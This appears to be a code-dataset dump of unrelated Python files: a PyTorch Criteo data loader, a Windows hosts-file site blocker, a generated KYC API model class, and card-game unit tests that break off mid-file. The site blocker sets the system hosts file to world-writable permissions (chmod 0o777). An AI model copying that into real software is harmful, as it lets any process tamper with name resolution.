collate_fn=functools.partial(data_collate_fn, device=return_device, orig_stream=torch.cuda.current_stream())) data_loader_train = torch.utils.data.DataLoader(dataset_train, **data_loader_args) data_loader_test = torch.utils.data.DataLoader(dataset_test, **data_loader_args) return data_loader_train, data_loader_test def _dist_permutation(size): if dist.get_world_size() > 1: permutation_file = "/tmp/permutation.npy" if dist.get_local_rank() == 0: np.save(permutation_file, np.random.permutation(size)) torch.distributed.barrier() permutation = np.load(permutation_file) else: permutation = np.random.permutation(size) return permutation class CriteoBinDataset(Dataset): def __init__(self, data_file, batch_size=1, bytes_per_feature=4, shuffle=False): self.tad_fea = 1 + 13 self.tot_fea = 1 + 13 + 26 self.batch_size = batch_size self.bytes_per_batch = (bytes_per_feature * self.tot_fea * batch_size) self.num_batches = math.ceil(os.path.getsize(data_file) / self.bytes_per_batch) print('data file:', data_file, 'number of batches:', self.num_batches) self.file = open(data_file, 'rb', buffering=0) if shuffle: self.permutation = _dist_permutation(self.num_batches - 1) else: self.permutation = None def __len__(self): return self.num_batches def __getitem__(self, idx): if self.permutation is not None and idx != self.num_batches - 1: idx = self.permutation[idx] self.file.seek(idx * self.bytes_per_batch, 0) raw_data = self.file.read(self.bytes_per_batch) array = np.frombuffer(raw_data, dtype=np.int32) tensor = torch.from_numpy(array).view((-1, self.tot_fea)) return tensor def __del__(self): self.file.close() class CriteoMemmapDataset(Dataset): def __init__(self, data_file, batch_size, bytes_per_feature=4, shuffle=False): self.record_width = 40 self.batch_size = batch_size bytes_per_batch = (bytes_per_feature * self.record_width * batch_size) self.num_batches = math.ceil(os.path.getsize(data_file) / bytes_per_batch) if shuffle: self.permutation = _dist_permutation(self.num_batches - 1) else: self.permutation = None self.mmap = np.memmap(data_file, dtype=np.int32, mode='r') def __len__(self): return self.num_batches def __getitem__(self, idx): if self.permutation is not None and idx != self.num_batches - 1: idx = self.permutation[idx] start_idx = idx * (self.batch_size * self.record_width) end_idx = min((idx + 1) * (self.batch_size * self.record_width), self.mmap.shape[0]) array = self.mmap[start_idx:end_idx] tensor = torch.from_numpy(array).reshape(-1, self.record_width) return tensor class DistCriteoDataset(Dataset): def __init__(self, data_path, batch_size=1, shuffle=False, numerical_features=False, categorical_features=None, prefetch_depth=10): bytes_per_label = 4 self.bytes_per_batch = { "label": bytes_per_label * batch_size, "numerical": 13 * 4 * batch_size if numerical_features else 0, "categorical": 4 * batch_size if categorical_features is not None else 0 } self.batch_size = batch_size self.label_file = os.open(os.path.join(data_path, F"label.bin"), os.O_RDONLY) label_file_size = os.fstat(self.label_file).st_size self.num_samples = int(label_file_size / bytes_per_label) self.num_batches = math.ceil(label_file_size / self.bytes_per_batch["label"]) if numerical_features: self.numerical_features_file = os.open(os.path.join(data_path, "numerical.bin"), os.O_RDONLY) if math.ceil(os.fstat(self.numerical_features_file).st_size / self.bytes_per_batch["numerical"]) != self.num_batches: raise ValueError("Size miss match in data files") else: self.numerical_features_file = None if categorical_features is not None and categorical_features: self.categorical_features_files = [] for cat_id in categorical_features: cat_file = os.open(os.path.join(data_path, F"cat_{cat_id}.bin"), os.O_RDONLY) if math.ceil( os.fstat(cat_file).st_size / self.bytes_per_batch["categorical"]) != self.num_batches: raise ValueError("Size miss match in data files") self.categorical_features_files.append(cat_file) else: self.categorical_features_files = None if shuffle: self.permutation = _dist_permutation(self.num_batches - 1) else: self.permutation = None self.prefetch_depth = min(prefetch_depth, self.num_batches) self.prefetch_queue = queue.Queue() self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=1) def __len__(self): return self.num_batches def getitem(self, idx): if self.permutation is not None and idx != self.num_batches - 1: idx = self.permutation[idx] raw_label_data = os.pread( self.label_file, self.bytes_per_batch["label"], idx * self.bytes_per_batch["label"]) click = torch.from_numpy(np.frombuffer(raw_label_data, dtype=np.float32)) if self.numerical_features_file is not None: raw_numerical_data = os.pread( self.numerical_features_file, self.bytes_per_batch["numerical"], idx * self.bytes_per_batch["numerical"]) numerical_features = torch.from_numpy(np.frombuffer(raw_numerical_data, dtype=np.float32)).view(-1, 13) else: numerical_features = None if self.categorical_features_files is not None: categorical_features = [] for cat_file in self.categorical_features_files: raw_cat_data = os.pread( cat_file, self.bytes_per_batch["categorical"], idx * self.bytes_per_batch["categorical"]) categorical_features.append(torch.from_numpy(np.frombuffer(raw_cat_data, dtype=np.int32)).unsqueeze(1)) categorical_features = torch.cat(categorical_features, dim=1) else: categorical_features = None return click, numerical_features, categorical_features def __getitem__(self, idx): if self.prefetch_depth <= 1: return self.getitem(idx) if idx == 0: for i in range(self.prefetch_depth): self.prefetch_queue.put(self.executor.submit(self.getitem, (i))) if idx < self.num_batches - self.prefetch_depth: self.prefetch_queue.put(self.executor.submit(self.getitem, (idx + self.prefetch_depth))) return self.prefetch_queue.get().result() def __del__(self): os.close(self.label_file) if self.numerical_features_file is not None: os.close(self.numerical_features_file) if self.categorical_features_files is not None: for cat_file in self.categorical_features_files: os.close(cat_file) def data_collate_fn(batch_data, device="cuda", orig_stream=None): if not isinstance(batch_data, torch.Tensor): if batch_data[1] is not None: numerical_features = torch.log(batch_data[1].to(device, non_blocking=True) + 1.).squeeze() else: numerical_features = torch.empty(batch_data[0].shape[0], 13, dtype=torch.float32, device=device) if batch_data[2] is not None: categorical_features = batch_data[2].to(device, non_blocking=True) else: categorical_features = None click = batch_data[0].to(device, non_blocking=True).squeeze() else: batch_data = batch_data.to(device, non_blocking=True).split([1, 13, 26], dim=1) numerical_features = torch.log(batch_data[1].to(torch.float32) + 1.).squeeze() categorical_features = batch_data[2].to(torch.long) click = batch_data[0].to(torch.float32).squeeze() # record_stream() prevents data being unintentionally reused. Aslo NOTE that it may not work # with num_works >=1 in the DataLoader when use this data_collate_fn() as collate function. if orig_stream is not None: numerical_features.record_stream(orig_stream) if categorical_features is not None: categorical_features.record_stream(orig_stream) click.record_stream(orig_stream) return numerical_features, categorical_features, click def prefetcher(load_iterator, prefetch_stream): def _prefetch(): with torch.cuda.stream(prefetch_stream): try: data_batch = next(load_iterator) except StopIteration: return None return data_batch next_data_batch = _prefetch() while next_data_batch is not None: torch.cuda.current_stream().wait_stream(prefetch_stream) data_batch = next_data_batch next_data_batch = _prefetch() yield data_batch

true

1c420781d029b750bab07902b9e11705fcd9a9da

1,654

py

Python

main.py

iFly350x/Parental-Control-Website-Blockage-

fdf30f35d8a7cea0634dd7a1f7b20b05877d249a

[ "BSL-1.0" ]

null

main.py

iFly350x/Parental-Control-Website-Blockage-

fdf30f35d8a7cea0634dd7a1f7b20b05877d249a

[ "BSL-1.0" ]

null

main.py

iFly350x/Parental-Control-Website-Blockage-

fdf30f35d8a7cea0634dd7a1f7b20b05877d249a

[ "BSL-1.0" ]

null

import os from pathlib import Path import sys from typing import * import ipaddress class sitesControl: FILE_PATH = Path('C:\Windows\System32\drivers\etc') def __init__(self) -> None: self.path = self.FILE_PATH self.websites = websites = [] self.size = None self.ip = ipaddress.ip_address('127.0.0.1') def checkos(self) -> None: if not sys.platform.startswith('win'): raise SystemExit("Only Windows Is Supported!") def changePath(self) -> None: os.chdir(self.path) def changePerms(self) -> None: os.chmod("hosts", 0o777) def getinp(self) -> None: while True: try: self.size = int(input('Enter Number Of Sites To block: ')) break except: print("invalid input please enter a number") for _ in range(self.size): website = input("Enter Wbsites: ").replace(" ", "").rstrip("/") self.websites.append(website) def addingList(self) -> None: with open('hosts', 'a') as f: for _ in range(self.size): for i in self.websites: f.write("\n{} {}".format(self.ip, i)) def verification(self) -> None: for i in self.websites: print("Wesbsite {} Has Been Blocked. Please Refresh Your Browser.".format(i)) def main() -> None: control = sitesControl() control.checkos() control.changePath() control.changePerms() control.getinp() control.addingList() control.verification() if __name__ == '__main__': main()

25.84375

89

0.561064

import os from pathlib import Path import sys from typing import * import ipaddress class sitesControl: FILE_PATH = Path('C:\Windows\System32\drivers\etc') def __init__(self) -> None: self.path = self.FILE_PATH self.websites = websites = [] self.size = None self.ip = ipaddress.ip_address('127.0.0.1') def checkos(self) -> None: if not sys.platform.startswith('win'): raise SystemExit("Only Windows Is Supported!") def changePath(self) -> None: os.chdir(self.path) def changePerms(self) -> None: os.chmod("hosts", 0o777) def getinp(self) -> None: while True: try: self.size = int(input('Enter Number Of Sites To block: ')) break except: print("invalid input please enter a number") for _ in range(self.size): website = input("Enter Wbsites: ").replace(" ", "").rstrip("/") self.websites.append(website) def addingList(self) -> None: with open('hosts', 'a') as f: for _ in range(self.size): for i in self.websites: f.write("\n{} {}".format(self.ip, i)) def verification(self) -> None: for i in self.websites: print("Wesbsite {} Has Been Blocked. Please Refresh Your Browser.".format(i)) def main() -> None: control = sitesControl() control.checkos() control.changePath() control.changePerms() control.getinp() control.addingList() control.verification() if __name__ == '__main__': main()

true

1c420894852746a91a8d8ed2518ead17557c43f2

11,264

py

Python

integration/python/integration_api/models/kyc_response_vo.py

ShekharPaatni/SDK

6534ffdb63af87c02c431df9add05a90370183cb

[ "Apache-2.0" ]

11

2019-04-16T02:11:17.000Z

2021-12-16T22:51:40.000Z

integration/python/integration_api/models/kyc_response_vo.py

ShekharPaatni/SDK

6534ffdb63af87c02c431df9add05a90370183cb

[ "Apache-2.0" ]

81

2019-11-19T23:24:28.000Z

2022-03-28T11:35:47.000Z

integration/python/integration_api/models/kyc_response_vo.py

ShekharPaatni/SDK

6534ffdb63af87c02c431df9add05a90370183cb

[ "Apache-2.0" ]

11

2020-07-08T02:29:56.000Z

2022-03-28T10:05:33.000Z

# coding: utf-8 """ Hydrogen Integration API The Hydrogen Integration API # noqa: E501 OpenAPI spec version: 1.3.1 Contact: info@hydrogenplatform.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six from integration_api.configuration import Configuration class KycResponseVo(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'create_date': 'datetime', 'kyc_status': 'str', 'kyc_type': 'str', 'nucleus_business_id': 'str', 'nucleus_client_id': 'str', 'nucleus_document_id': 'str', 'product': 'str', 'update_date': 'datetime', 'vendor_name': 'str', 'vendor_request_data': 'KycVendorRequestDataVO', 'vendor_response': 'object' } attribute_map = { 'create_date': 'create_date', 'kyc_status': 'kyc_status', 'kyc_type': 'kyc_type', 'nucleus_business_id': 'nucleus_business_id', 'nucleus_client_id': 'nucleus_client_id', 'nucleus_document_id': 'nucleus_document_id', 'product': 'product', 'update_date': 'update_date', 'vendor_name': 'vendor_name', 'vendor_request_data': 'vendor_request_data', 'vendor_response': 'vendor_response' } def __init__(self, create_date=None, kyc_status=None, kyc_type=None, nucleus_business_id=None, nucleus_client_id=None, nucleus_document_id=None, product=None, update_date=None, vendor_name=None, vendor_request_data=None, vendor_response=None, _configuration=None): # noqa: E501 """KycResponseVo - a model defined in Swagger""" # noqa: E501 if _configuration is None: _configuration = Configuration() self._configuration = _configuration self._create_date = None self._kyc_status = None self._kyc_type = None self._nucleus_business_id = None self._nucleus_client_id = None self._nucleus_document_id = None self._product = None self._update_date = None self._vendor_name = None self._vendor_request_data = None self._vendor_response = None self.discriminator = None if create_date is not None: self.create_date = create_date if kyc_status is not None: self.kyc_status = kyc_status if kyc_type is not None: self.kyc_type = kyc_type if nucleus_business_id is not None: self.nucleus_business_id = nucleus_business_id if nucleus_client_id is not None: self.nucleus_client_id = nucleus_client_id if nucleus_document_id is not None: self.nucleus_document_id = nucleus_document_id if product is not None: self.product = product if update_date is not None: self.update_date = update_date if vendor_name is not None: self.vendor_name = vendor_name if vendor_request_data is not None: self.vendor_request_data = vendor_request_data if vendor_response is not None: self.vendor_response = vendor_response @property def create_date(self): """Gets the create_date of this KycResponseVo. # noqa: E501 :return: The create_date of this KycResponseVo. # noqa: E501 :rtype: datetime """ return self._create_date @create_date.setter def create_date(self, create_date): """Sets the create_date of this KycResponseVo. :param create_date: The create_date of this KycResponseVo. # noqa: E501 :type: datetime """ self._create_date = create_date @property def kyc_status(self): """Gets the kyc_status of this KycResponseVo. # noqa: E501 :return: The kyc_status of this KycResponseVo. # noqa: E501 :rtype: str """ return self._kyc_status @kyc_status.setter def kyc_status(self, kyc_status): """Sets the kyc_status of this KycResponseVo. :param kyc_status: The kyc_status of this KycResponseVo. # noqa: E501 :type: str """ self._kyc_status = kyc_status @property def kyc_type(self): """Gets the kyc_type of this KycResponseVo. # noqa: E501 :return: The kyc_type of this KycResponseVo. # noqa: E501 :rtype: str """ return self._kyc_type @kyc_type.setter def kyc_type(self, kyc_type): """Sets the kyc_type of this KycResponseVo. :param kyc_type: The kyc_type of this KycResponseVo. # noqa: E501 :type: str """ self._kyc_type = kyc_type @property def nucleus_business_id(self): """Gets the nucleus_business_id of this KycResponseVo. # noqa: E501 :return: The nucleus_business_id of this KycResponseVo. # noqa: E501 :rtype: str """ return self._nucleus_business_id @nucleus_business_id.setter def nucleus_business_id(self, nucleus_business_id): """Sets the nucleus_business_id of this KycResponseVo. :param nucleus_business_id: The nucleus_business_id of this KycResponseVo. # noqa: E501 :type: str """ self._nucleus_business_id = nucleus_business_id @property def nucleus_client_id(self): """Gets the nucleus_client_id of this KycResponseVo. # noqa: E501 :return: The nucleus_client_id of this KycResponseVo. # noqa: E501 :rtype: str """ return self._nucleus_client_id @nucleus_client_id.setter def nucleus_client_id(self, nucleus_client_id): """Sets the nucleus_client_id of this KycResponseVo. :param nucleus_client_id: The nucleus_client_id of this KycResponseVo. # noqa: E501 :type: str """ self._nucleus_client_id = nucleus_client_id @property def nucleus_document_id(self): """Gets the nucleus_document_id of this KycResponseVo. # noqa: E501 :return: The nucleus_document_id of this KycResponseVo. # noqa: E501 :rtype: str """ return self._nucleus_document_id @nucleus_document_id.setter def nucleus_document_id(self, nucleus_document_id): """Sets the nucleus_document_id of this KycResponseVo. :param nucleus_document_id: The nucleus_document_id of this KycResponseVo. # noqa: E501 :type: str """ self._nucleus_document_id = nucleus_document_id @property def product(self): """Gets the product of this KycResponseVo. # noqa: E501 :return: The product of this KycResponseVo. # noqa: E501 :rtype: str """ return self._product @product.setter def product(self, product): """Sets the product of this KycResponseVo. :param product: The product of this KycResponseVo. # noqa: E501 :type: str """ self._product = product @property def update_date(self): """Gets the update_date of this KycResponseVo. # noqa: E501 :return: The update_date of this KycResponseVo. # noqa: E501 :rtype: datetime """ return self._update_date @update_date.setter def update_date(self, update_date): """Sets the update_date of this KycResponseVo. :param update_date: The update_date of this KycResponseVo. # noqa: E501 :type: datetime """ self._update_date = update_date @property def vendor_name(self): """Gets the vendor_name of this KycResponseVo. # noqa: E501 :return: The vendor_name of this KycResponseVo. # noqa: E501 :rtype: str """ return self._vendor_name @vendor_name.setter def vendor_name(self, vendor_name): """Sets the vendor_name of this KycResponseVo. :param vendor_name: The vendor_name of this KycResponseVo. # noqa: E501 :type: str """ self._vendor_name = vendor_name @property def vendor_request_data(self): """Gets the vendor_request_data of this KycResponseVo. # noqa: E501 :return: The vendor_request_data of this KycResponseVo. # noqa: E501 :rtype: KycVendorRequestDataVO """ return self._vendor_request_data @vendor_request_data.setter def vendor_request_data(self, vendor_request_data): """Sets the vendor_request_data of this KycResponseVo. :param vendor_request_data: The vendor_request_data of this KycResponseVo. # noqa: E501 :type: KycVendorRequestDataVO """ self._vendor_request_data = vendor_request_data @property def vendor_response(self): """Gets the vendor_response of this KycResponseVo. # noqa: E501 :return: The vendor_response of this KycResponseVo. # noqa: E501 :rtype: object """ return self._vendor_response @vendor_response.setter def vendor_response(self, vendor_response): """Sets the vendor_response of this KycResponseVo. :param vendor_response: The vendor_response of this KycResponseVo. # noqa: E501 :type: object """ self._vendor_response = vendor_response def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(KycResponseVo, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, KycResponseVo): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, KycResponseVo): return True return self.to_dict() != other.to_dict()

29.333333

282

0.621893

import pprint import re import six from integration_api.configuration import Configuration class KycResponseVo(object): swagger_types = { 'create_date': 'datetime', 'kyc_status': 'str', 'kyc_type': 'str', 'nucleus_business_id': 'str', 'nucleus_client_id': 'str', 'nucleus_document_id': 'str', 'product': 'str', 'update_date': 'datetime', 'vendor_name': 'str', 'vendor_request_data': 'KycVendorRequestDataVO', 'vendor_response': 'object' } attribute_map = { 'create_date': 'create_date', 'kyc_status': 'kyc_status', 'kyc_type': 'kyc_type', 'nucleus_business_id': 'nucleus_business_id', 'nucleus_client_id': 'nucleus_client_id', 'nucleus_document_id': 'nucleus_document_id', 'product': 'product', 'update_date': 'update_date', 'vendor_name': 'vendor_name', 'vendor_request_data': 'vendor_request_data', 'vendor_response': 'vendor_response' } def __init__(self, create_date=None, kyc_status=None, kyc_type=None, nucleus_business_id=None, nucleus_client_id=None, nucleus_document_id=None, product=None, update_date=None, vendor_name=None, vendor_request_data=None, vendor_response=None, _configuration=None): if _configuration is None: _configuration = Configuration() self._configuration = _configuration self._create_date = None self._kyc_status = None self._kyc_type = None self._nucleus_business_id = None self._nucleus_client_id = None self._nucleus_document_id = None self._product = None self._update_date = None self._vendor_name = None self._vendor_request_data = None self._vendor_response = None self.discriminator = None if create_date is not None: self.create_date = create_date if kyc_status is not None: self.kyc_status = kyc_status if kyc_type is not None: self.kyc_type = kyc_type if nucleus_business_id is not None: self.nucleus_business_id = nucleus_business_id if nucleus_client_id is not None: self.nucleus_client_id = nucleus_client_id if nucleus_document_id is not None: self.nucleus_document_id = nucleus_document_id if product is not None: self.product = product if update_date is not None: self.update_date = update_date if vendor_name is not None: self.vendor_name = vendor_name if vendor_request_data is not None: self.vendor_request_data = vendor_request_data if vendor_response is not None: self.vendor_response = vendor_response @property def create_date(self): return self._create_date @create_date.setter def create_date(self, create_date): self._create_date = create_date @property def kyc_status(self): return self._kyc_status @kyc_status.setter def kyc_status(self, kyc_status): self._kyc_status = kyc_status @property def kyc_type(self): return self._kyc_type @kyc_type.setter def kyc_type(self, kyc_type): self._kyc_type = kyc_type @property def nucleus_business_id(self): return self._nucleus_business_id @nucleus_business_id.setter def nucleus_business_id(self, nucleus_business_id): self._nucleus_business_id = nucleus_business_id @property def nucleus_client_id(self): return self._nucleus_client_id @nucleus_client_id.setter def nucleus_client_id(self, nucleus_client_id): self._nucleus_client_id = nucleus_client_id @property def nucleus_document_id(self): return self._nucleus_document_id @nucleus_document_id.setter def nucleus_document_id(self, nucleus_document_id): self._nucleus_document_id = nucleus_document_id @property def product(self): return self._product @product.setter def product(self, product): self._product = product @property def update_date(self): return self._update_date @update_date.setter def update_date(self, update_date): self._update_date = update_date @property def vendor_name(self): return self._vendor_name @vendor_name.setter def vendor_name(self, vendor_name): self._vendor_name = vendor_name @property def vendor_request_data(self): return self._vendor_request_data @vendor_request_data.setter def vendor_request_data(self, vendor_request_data): self._vendor_request_data = vendor_request_data @property def vendor_response(self): return self._vendor_response @vendor_response.setter def vendor_response(self, vendor_response): self._vendor_response = vendor_response def to_dict(self): result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(KycResponseVo, dict): for key, value in self.items(): result[key] = value return result def to_str(self): return pprint.pformat(self.to_dict()) def __repr__(self): return self.to_str() def __eq__(self, other): if not isinstance(other, KycResponseVo): return False return self.to_dict() == other.to_dict() def __ne__(self, other): if not isinstance(other, KycResponseVo): return True return self.to_dict() != other.to_dict()

true

1c4208b2f7a2bd869e15e83d2bdd272601022302

29,953

py

Python

testsSDW__copy/card_tests/shaman_tests.py

jomyhuang/sdwle

9b6e916567e09c7cba4a171fe0adf0f47009a8c3

[ "MIT" ]

null

testsSDW__copy/card_tests/shaman_tests.py

jomyhuang/sdwle

9b6e916567e09c7cba4a171fe0adf0f47009a8c3

[ "MIT" ]

null

testsSDW__copy/card_tests/shaman_tests.py

jomyhuang/sdwle

9b6e916567e09c7cba4a171fe0adf0f47009a8c3

[ "MIT" ]

null

import random import unittest from SDWLE.cards.spells.neutral import TheCoin from testsSDW.agents.testing_agents import OneCardPlayingAgent, MinionAttackingAgent, CardTestingAgent, \ PlayAndAttackAgent from testsSDW.testing_utils import generate_game_for from SDWLE.cards import * from SDWLE.constants import MINION_TYPE from SDWLE.agents.basic_agents import PredictableAgent, DoNothingAgent class TestShaman(unittest.TestCase): def setUp(self): random.seed(1857) def test_AlAkirTheWindlord(self): game = generate_game_for(AlAkirTheWindlord, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 15): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Al'Akir the Windlord", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].windfury()) self.assertTrue(game.players[0].minions[0].charge()) self.assertTrue(game.players[0].minions[0].divine_shield) self.assertTrue(game.players[0].minions[0].taunt) def test_DustDevil(self): game = generate_game_for(DustDevil, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Dust Devil", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].windfury()) self.assertEqual(2, game.players[0].upcoming_overload) game.play_single_turn() # Overload should cause that we start this turn with 0 mana game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(0, game.players[0].upcoming_overload) self.assertEqual(0, game.players[0].mana) self.assertEqual(2, game.players[0].max_mana) def test_EarthElemental(self): game = generate_game_for(EarthElemental, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) # Earth Elemental should be played for turn in range(0, 9): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Earth Elemental", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].taunt) self.assertEqual(3, game.players[0].upcoming_overload) def test_FireElemental(self): game = generate_game_for(FireElemental, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 10): game.play_single_turn() self.assertEqual(30, game.players[1].hero.health) # Fire Elemental should be played, and its battlecry dealing three damage to opponent game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Fire Elemental", game.players[0].minions[0].card.name) self.assertEqual(27, game.players[1].hero.health) def test_FlametongueTotem(self): game = generate_game_for(StonetuskBoar, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() # There should be three Stonetusk Boars on the board self.assertEqual(3, len(game.players[0].minions)) # add a new Flametongue Totem at index 1 totem = FlametongueTotem() totem.summon(game.players[0], game, 1) # The minions to either side should have their attack increased self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[2].calculate_attack()) self.assertEqual(1, game.players[0].minions[3].calculate_attack()) # When removing the minion at index 0, we should not get an error game.players[0].minions[0].die(None) game.players[0].minions[0].activate_delayed() self.assertEqual(3, len(game.players[0].minions)) # When removing the minion at index 1, we should have a new minion at index 1, # and its attack should be increased game.players[0].minions[1].die(None) game.players[0].minions[1].activate_delayed() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[1].calculate_attack()) # Silencing this minion should have no effect on its attack game.players[0].minions[1].silence() self.assertEqual(3, game.players[0].minions[1].calculate_attack()) # We should be able to add a boar on either side of the wolf, and their attack should be increased # The attack of the boar which used to be next to the wolf should decrease boar = StonetuskBoar() boar.summon(game.players[0], game, 0) boar.summon(game.players[0], game, 2) self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[2].calculate_attack()) self.assertEqual(1, game.players[0].minions[3].calculate_attack()) # Add a new boar on the left of the totem since we haven't tested that yet boar.summon(game.players[0], game, 1) self.assertEqual(5, len(game.players[0].minions)) self.assertEqual(1, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[1].calculate_attack()) game.players[0].minions[1].die(None) game.players[0].minions[1].activate_delayed() self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[0].calculate_attack()) # If the totem is silenced, then the boars to either side should no longer have increased attack game.players[0].minions[1].silence() self.assertEqual(1, game.players[0].minions[0].calculate_attack()) self.assertEqual(1, game.players[0].minions[2].calculate_attack()) self.assertEqual(1, game.players[0].minions[3].calculate_attack()) def test_ManaTideTotem(self): game = generate_game_for([ManaTideTotem, WarGolem], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(25, game.players[0].deck.left) self.assertEqual(0, len(game.players[0].minions)) # Mana Tide Totem should be played, and we should draw a card at the end of turn game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Mana Tide Totem", game.players[0].minions[0].card.name) self.assertEqual(23, game.players[0].deck.left) game.play_single_turn() # Silence, we should only draw one card next turn game.players[0].minions[0].silence() game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(22, game.players[0].deck.left) def test_UnboundElemental(self): game = generate_game_for([UnboundElemental, DustDevil, DustDevil], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 6): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Unbound Elemental", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].calculate_attack()) self.assertEqual(4, game.players[0].minions[0].calculate_max_health()) # One Dust Devil should be played, giving the Unbound Elemental +1/+1 game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[-1].calculate_attack()) self.assertEqual(5, game.players[0].minions[-1].calculate_max_health()) # Test the silence game.players[0].minions[-1].silence() self.assertEqual(2, game.players[0].minions[-1].calculate_attack()) self.assertEqual(4, game.players[0].minions[-1].calculate_max_health()) # Another Dust Devil, nothing should happen because of silence game.play_single_turn() game.play_single_turn() self.assertEqual(3, len(game.players[0].minions)) self.assertEqual(2, game.players[0].minions[-1].calculate_attack()) self.assertEqual(4, game.players[0].minions[-1].calculate_max_health()) def test_Windspeaker(self): game = generate_game_for([StonetuskBoar, Windspeaker], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 6): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Stonetusk Boar", game.players[0].minions[0].card.name) self.assertFalse(game.players[0].minions[0].windfury()) # Windspeaker should be played, giving the boar windfury game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual("Windspeaker", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[1].windfury()) def test_AncestralHealing(self): game = generate_game_for([FlametongueTotem, AncestralHealing], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Flametongue Totem", game.players[0].minions[0].card.name) self.assertEqual(3, game.players[0].minions[0].health) self.assertFalse(game.players[0].minions[0].taunt) game.players[0].minions[0].health = 1 game.play_single_turn() self.assertEqual(3, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].taunt) def test_AncestralSpirit(self): game = generate_game_for([ArgentCommander, AncestralSpirit], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 11): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Argent Commander", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].divine_shield) game.play_single_turn() # Ancestral Spirit should be played on the Argent Commander game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) game.players[0].minions[0].health = 1 game.players[0].minions[0].divine_shield = False # Let the minion die in order to test Ancestral Spirit commander = game.players[0].minions[0] commander.die(None) commander.activate_delayed() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Argent Commander", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].divine_shield) def test_AncestralSpiritDeathrattle(self): game = generate_game_for([LootHoarder, AncestralSpirit], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(4, len(game.players[0].hand)) loot = game.players[0].minions[0] loot.die(None) loot.activate_delayed() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(5, len(game.players[0].hand)) def test_Bloodlust(self): game = generate_game_for([StonetuskBoar, StonetuskBoar, StonetuskBoar, StonetuskBoar, Bloodlust], StonetuskBoar, MinionAttackingAgent, DoNothingAgent) for turn in range(0, 8): game.play_single_turn() self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(20, game.players[1].hero.health) # Bloodlust should be played, resulting in 4 * 4 = 16 damage game.play_single_turn() self.assertEqual(4, game.players[1].hero.health) # Attack power should be back to normal self.assertEqual(1, 